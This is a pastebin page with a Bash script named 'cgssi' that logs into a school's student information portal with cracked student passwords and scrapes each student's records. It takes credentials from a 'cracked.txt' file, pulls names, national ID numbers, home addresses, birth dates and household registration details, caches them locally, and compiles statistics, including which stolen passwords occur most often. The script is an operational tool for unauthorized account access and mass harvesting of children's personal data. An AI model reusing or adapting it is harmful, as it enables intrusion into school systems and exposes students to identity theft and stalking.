cgssi

From Crimson Baboon, 6 Years ago, written in Bash, viewed 853 times.
URL https://code.nat.moe/view/45d4f88c Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgssi - Country Gadern School Student Informations
  4. # cgssi is a free software, maintaince by MagicNAT Networing
  5. # Version 0.2 (C) MagicNAT Networking
  6.  
  7. SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3"
  8. AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp"
  9. INFO_URL="http://127.0.0.1:8080/mis/info/tea_info/stu_cxmx_p.asp?nn=%BB%F9%B1%BE%D7%CA%C1%CF"
  10. SSID_FILENAME="./.ssid.cookie"
  11. STAT_RPT_TMP="./.stat"
  12. SEARCH_TMP="./.search"
  13. OFFLINE_MODE_INDICATE="./.offline"
  14.  
  15. CRACKED_SAVE="../cgspasswd/cracked.txt"
  16. SAVE_DIR="./info/"
  17.  
  18. function update_ssid {
  19.         echo > $OFFLINE_MODE_INDICATE
  20.         echo -n "Updateing ssid... "
  21.         curl -c $SSID_FILENAME $SSID_GEN_URL --connect-timeout 5 > /dev/null 2> /dev/null
  22.         [[ $? == "0" ]] && echo "OK" && rm $OFFLINE_MODE_INDICATE || echo "Failed! Work in offline mode"
  23. }
  24.  
  25. function search {
  26.         echo > $SEARCH_TMP
  27.         [[ -z $1 ]] && echo "search: Missing parameters" && return 1
  28.         echo -n "Searching for '$1'... "
  29.         for data in $(ls $SAVE_DIR)
  30.         do
  31.                 [[ ! -z $(cat $SAVE_DIR$data | grep $1) ]] && echo $data >> $SEARCH_TMP
  32.         done
  33.         echo "Done"
  34.         for data in $(cat $SEARCH_TMP)
  35.         do
  36.                 cat $SAVE_DIR$data | less
  37.         done
  38. }
  39.  
  40. function stat {
  41.         echo -n "Generating stat report"
  42.         echo > $STAT_RPT_TMP
  43.         echo -n "."
  44.         echo -e "Overall\n================================================================================" >> $STAT_RPT_TMP
  45.         echo "Currently $(ls -l $SAVE_DIR | grep -v ^l | wc -l | sed -e 's/ //g') records in database." >> $STAT_RPT_TMP
  46.         echo "Size: $(du -h $SAVE_DIR | sed -e 's/\.\/.*\///' | sed -e 's/ //g')"  >> $STAT_RPT_TMP
  47.         echo >> $STAT_RPT_TMP
  48.         echo -n "."
  49.         echo -e "Sex\n================================================================================" >> $STAT_RPT_TMP
  50.         echo "Males: $(cat $SAVE_DIR* | grep "性别: 男" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 男//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
  51.         echo "Females: $(cat $SAVE_DIR* | grep "性别: 女" | sort | uniq -c | sort -k2nr | awk '{printf("%s \n",$1)}END{print}' | tr "\n" " " | sed -e "s/ 性别: 女//" | awk -F" " '{print $1}') students in database" >> $STAT_RPT_TMP
  52.         echo >> $STAT_RPT_TMP
  53.         echo -n "."
  54.         echo -e "Date join\n================================================================================" >> $STAT_RPT_TMP
  55.         cat $SAVE_DIR* | grep 入校日期: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s joined\n",$2,$1)}END{print}' | sort -rnk3 | grep joined >> $STAT_RPT_TMP
  56.         echo >> $STAT_RPT_TMP
  57.         echo -n "."
  58.         echo -e "Date birth\n================================================================================" >> $STAT_RPT_TMP
  59.         cat $SAVE_DIR* | grep 出生年月: | awk -F": " '{print $2}' | awk -F- '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort -rnk3 | grep borned >> $STAT_RPT_TMP
  60.         echo >> $STAT_RPT_TMP
  61.         echo -n "."
  62.         echo -e "Drpartment\n================================================================================" >> $STAT_RPT_TMP
  63.         echo "International section: $(cat $SAVE_DIR* | grep 现读 | grep 国际部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  64.         echo "High school section: $(cat $SAVE_DIR* | grep 现读 | grep 高中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  65.         echo "Jounier high section: $(cat $SAVE_DIR*  | grep 现读 | grep 初中部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  66.         echo "Kindergarten: $(cat $SAVE_DIR*  | grep 现读 | grep 幼儿园 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  67.         echo "Oversea section: $(cat $SAVE_DIR*  | grep 现读 | grep 留学部 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 现读班级//" | awk -F" " '{print $1}') studnets in database" >> $STAT_RPT_TMP
  68.         echo  >> $STAT_RPT_TMP
  69.         echo -n "."
  70.         echo -e "Class informations\n================================================================================" >> $STAT_RPT_TMP
  71.         cat $SAVE_DIR* | grep 现读班级: | awk -F": " '{print $2}' | awk -F"(" '{print $1}' | grep 年级 | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}' | sort -rnk2 | grep students >> $STAT_RPT_TMP
  72.         echo  >> $STAT_RPT_TMP
  73.         echo -n "."
  74.         echo -e "Card type\n================================================================================" >> $STAT_RPT_TMP
  75.         echo "天天接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students" >> $STAT_RPT_TMP
  76.         echo "天天自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 天天自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  77.         echo "普通接送: $(cat $SAVE_DIR* | grep 接送卡 | grep 普通方式接送 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  78.         echo "节假日自由出入: $(cat $SAVE_DIR* | grep 接送卡 | grep 节假日自由出入 | awk -F: '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("Year %s: %s borned\n",$2,$1)}END{print}' | sort | tr "\n" " " | sed -e "s/ 接送卡//" | awk -F" " '{print $1}') students"  >> $STAT_RPT_TMP
  79.         echo >> $STAT_RPT_TMP
  80.         echo -n "."
  81.         echo -e "Hometown\n================================================================================" >> $STAT_RPT_TMP
  82.         cat $SAVE_DIR* | awk -F"籍贯: " '{print $2}' | grep| awk -F"省" '{print $1}' | sort | uniq -c | sort -k2nr | awk '{printf("%s: %s students\n",$2,$1)}END{print}'  | sort -k2nr |  grep students >> $STAT_RPT_TMP
  83.         echo >> $STAT_RPT_TMP
  84.         echo -n "."
  85.         echo -e "Password usage\n================================================================================" >> $STAT_RPT_TMP
  86.         cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | awk -F, '{print $3}' | sort | uniq -c | sort -k2nr | awk '{printf("%s used %s times\n",$2,$1)}END{print}' | sort -rnk3 | grep times >> $STAT_RPT_TMP
  87.         echo >> $STAT_RPT_TMP
  88.         echo " Done"
  89.         cat $STAT_RPT_TMP | less
  90. }
  91.  
  92. function try_acct {
  93.         [[ -z $1 ]] && return 1
  94.         [[ ! -e $SSID_FILENAME ]] && return 1
  95.         if [[ ! -z $2 ]]
  96.         then
  97.                 passwd=$2
  98.         else
  99.                 ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq )
  100.                 [[ $(echo $ACCT | awk -F, '{print $1}') == "stu" ]] && passwd=$(echo $ACCT | awk -F, '{print $3}')
  101.         fi
  102.         [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep 个人资料) ]] && echo "true" && return 0
  103.         echo "false" && return 1
  104. }
  105.  
  106. function fetch {
  107.         [[ -e $OFFLINE_MODE_INDICATE ]] && echo "fetch: Can't fetch in offline mode." && return 1
  108.         [[ ! -e $CRACKED_SAVE ]] && echo "fetch_form_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
  109.         ACCTLIST=$(cat $CRACKED_SAVE | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
  110.         for acct in $ACCTLIST
  111.         do
  112.                 typ=$(echo $acct | awk -F, '{print $1}')
  113.                 id=$(echo $acct | awk -F, '{print $2}')
  114.                 passwd=$(echo $acct | awk -F, '{print $3}')
  115.                 [[ $typ == "stu" ]] && echo -n "[$(date)] Fetching informations for $id... " && view $id $passwd > /dev/null && echo "Ok"
  116.         done
  117. }
  118.  
  119. function view {
  120.         [[ -z $1 ]] && echo "view: Missing parameter" && return 1
  121.         [[ -e $SAVE_DIR$1.txt ]] && echo "view: View from cache..." && cat $SAVE_DIR$1.txt | less && return 0
  122.         [[ -e $OFFLINE_MODE_INDICATE ]] && echo "view: Cannot view uncahed data in offline mode."
  123.         echo -n "view: Auth and fetch... "
  124.         if [[ $(try_acct $*) == "false" ]]
  125.         then
  126.                 [[ -z $2 ]] && echo "view: Failed to auth. Unknow password." && return 1
  127.                 echo "view: Failed to auth. Incorrect ID or password."
  128.                 return 1
  129.         fi
  130.         raw=$(curl -b $SSID_FILENAME $INFO_URL 2> /dev/null | iconv -f gbk -t utf-8 2> /dev/null | sed -e :a -e 's/<[^>]*>/|/g;/</N;//ba' | sed -e "s/\&nbsp;//g" )
  131.         echo > $SAVE_DIR$1.txt
  132.         echo "账户 $1 的基本信息" >> $SAVE_DIR$1.txt
  133.         echo "================================================================================" >> $SAVE_DIR$1.txt
  134.         echo "姓名: $(echo $raw | awk -F"姓名" '{print $2}' | awk -F"性别" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  135.         echo "性别: $(echo $raw | awk -F"性别" '{print $2}' | awk -F"入校日期" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  136.         echo "入校日期: $(echo $raw | awk -F"入校日期" '{print $2}' | awk -F"简称" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  137.         echo "入校班级: $(echo $raw | awk -F"入校班级" '{print $2}' | awk -F"公司编号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  138.         echo "现读班级: $(echo $raw | awk -F"现在班级" '{print $2}' | awk -F"离校时间" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  139.         echo "接送卡:$(echo $raw | awk -F"接送卡" '{print $2}' | awk -F"学生档案表" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  140.         echo >> $SAVE_DIR$1.txt
  141.         echo >> $SAVE_DIR$1.txt
  142.         echo "账户 $1 的个人信息" >> $SAVE_DIR$1.txt
  143.         echo "================================================================================" >> $SAVE_DIR$1.txt
  144.         echo "民族:$(echo $raw | awk -F"民族" '{print $2}' | awk -F"籍贯" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  145.         echo "籍贯:$(echo $raw | awk -F"籍贯" '{print $2}' | awk -F"出生日期" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  146.         echo "出生年月:$(echo $raw | awk -F"出生日期" '{print $2}' | awk -F"烈军属" '{print $1}' | sed -e "s/|//g" )" >> $SAVE_DIR$1.txt
  147.         echo "烈士军属:$(echo $raw | awk -F"烈军属" '{print $2}' | awk -F"政治面貌" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  148.         echo "政治面貌:$(echo $raw | awk -F"政治面貌" '{print $2}' | awk -F"侨属" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  149.         echo "侨属:$(echo $raw | awk -F"侨属" '{print $2}' | awk -F"身份证号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  150.         echo "身份证:$(echo $raw | awk -F"身份证号" '{print $2}' | awk -F"原读学校" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  151.         echo "原就读于:$(echo $raw | awk -F"原读学校" '{print $2}' | awk -F"现在住址" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  152.         echo "现居地: $(echo $raw | awk -F"现在住址" '{print $2}' | awk -F"邮政编码" '{print $1}' | sed -e "s/|//g" | sed -e "s/ //g" | sed -e "s/省//" | sed -e "s/市//" | sed -e "s/区//" | sed -e "s/镇//" )" >> $SAVE_DIR$1.txt
  153.         echo "邮编:$(echo $raw | awk -F"邮政编码" '{print $2}' | awk -F"所在居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  154.         echo "所在居委会:$(echo $raw | awk -F"所在居委会" '{print $2}' | awk -F"户籍" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  155.         echo "户籍:$(echo $raw | awk -F"户籍" '{print $2}' | awk -F"区 域" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  156.         echo "区域:$(echo $raw | awk -F"区 域" '{print $2}' | awk -F"类型" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  157.         echo "类型:$(echo $raw | awk -F"类型" '{print $2}' | awk -F"户口所在" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  158.         echo "户口所在地:$(echo $raw | awk -F"户口所在地" '{print $2}' | awk -F"户 号" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  159.         echo "户口号:$(echo $raw | awk -F"户 号" '{print $2}' | awk -F"户主" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  160.         echo "户主:$(echo $raw | awk -F"户主" '{print $2}' | awk -F"所属派出所" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  161.         echo "所属派出所:$(echo $raw | awk -F"所属派出所" '{print $2}' | awk -F"居委会" '{print $1}' | sed -e "s/|//g")" >> $SAVE_DIR$1.txt
  162.         echo  >> $SAVE_DIR$1.txt
  163.         echo "Ok"
  164.         cat $SAVE_DIR$1.txt | less && return 0
  165. }
  166.  
  167. function help {
  168.         echo
  169.         echo " cgssi - Country Gadern School Student Informations"
  170.         echo " cgssi is a free software, maintaince by MagicNAT Networing"
  171.         echo " Version 0.1 (C) MagicNAT Networking"
  172.         echo
  173.         echo " Avaiable commands: view, fetch, search, stat"
  174.         echo
  175.         echo " Usage: view <id> [passwd]"
  176.         echo " view: View the information of given id. If passwd undefined, cgssi will search"
  177.         echo " password from cgspasswd cracked accounts"
  178.         echo
  179.         echo " Usage: fetch"
  180.         echo " fetch: Fecth all info for id in cgspasswd cracked accounts"
  181.         echo
  182.         echo " Usage: search <keyword>"
  183.         echo " search: Search all data for given keyword"
  184.         echo
  185.         echo " Usage: stat"
  186.         echo " stat: Stat all datas and show a brief summary"
  187.         echo
  188. }
  189.  
  190. function interactive {
  191.         echo "cgssi 0.1 (Interactive mode) "
  192.         echo "Copyright 2014 MagicNAT Networking"
  193.         echo "This is free software with ABSOLUTELY NO WARRANTY."
  194.         echo "type help for help"
  195.         while true
  196.         do
  197.                 echo -n "cgssi> "; read cmd;
  198.                 if [[ ! -z $cmd ]]
  199.                 then
  200.                         exe=$(echo $cmd | awk '{print $1}')
  201.                         if ! type "$exe" > /dev/null 2> /dev/null
  202.                         then
  203.                                 echo "cgssi: command not found: $exe"
  204.                         else
  205.                                 $cmd
  206.                         fi
  207.                 fi
  208.         done
  209. }
  210.  
  211. function main {
  212.         update_ssid
  213.         [[ -z $* ]] && interactive
  214.         $*
  215. }
  216.  
  217. main $*

Replies to cgssi rss

Title Name Language When
Re: cgssi Queen Guinea Pig bash 6 Years ago.

Reply to "cgssi"

Here you can reply to the paste above

captcha